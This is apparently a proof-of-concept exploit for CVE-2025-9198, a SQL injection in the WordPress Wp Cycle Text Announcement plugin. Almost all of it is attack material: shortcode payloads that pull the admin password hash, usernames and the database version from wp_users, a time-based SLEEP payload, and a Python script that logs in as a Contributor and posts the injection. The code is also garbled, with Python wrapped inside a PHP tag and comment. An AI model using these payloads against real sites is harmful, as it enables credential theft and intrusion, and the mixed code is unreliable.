CVE-2025-9198：WordPress Wp Cycle Text Announcement插件SQL注入漏洞

<?php /** * CVE-2025-9198 PoC - SQL Injection via 'cycle-text' shortcode * Target: WordPress Wp Cycle Text Announcement Plugin <= 8.1 * Vulnerability: SQL Injection in cycle-text shortcode parameter * * Usage: Inject the following shortcode into a post/page content * as a Contributor-level authenticated user. * * Example payload to extract admin password hash: */ // Malicious shortcode to be inserted into post content: // [cycle-text "' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"] // Example: Extract database version // [cycle-text "' UNION SELECT @@version-- -"] // Example: Extract current user // [cycle-text "' UNION SELECT user_login FROM wp_users LIMIT 1-- -"] // Example: Time-based blind SQLi // [cycle-text "' AND SLEEP(5)-- -"] // Python exploitation script import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" session = requests.Session() # Step 1: Login as Contributor login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/post-new.php", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Create a new post with malicious shortcode # The SQL injection payload extracts admin password hash payload = '[cycle-text "\' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"]' post_data = { "post_title": "Test Post", "post_content": payload, "post_status": "draft", "post_type": "post" } response = session.post(f"{TARGET_URL}/wp-admin/post-new.php", data=post_data) # Step 3: Preview the post to trigger the SQL injection # The result will contain the extracted database information print("PoC submitted. Check post preview for extracted data.") print("Payload used:", payload)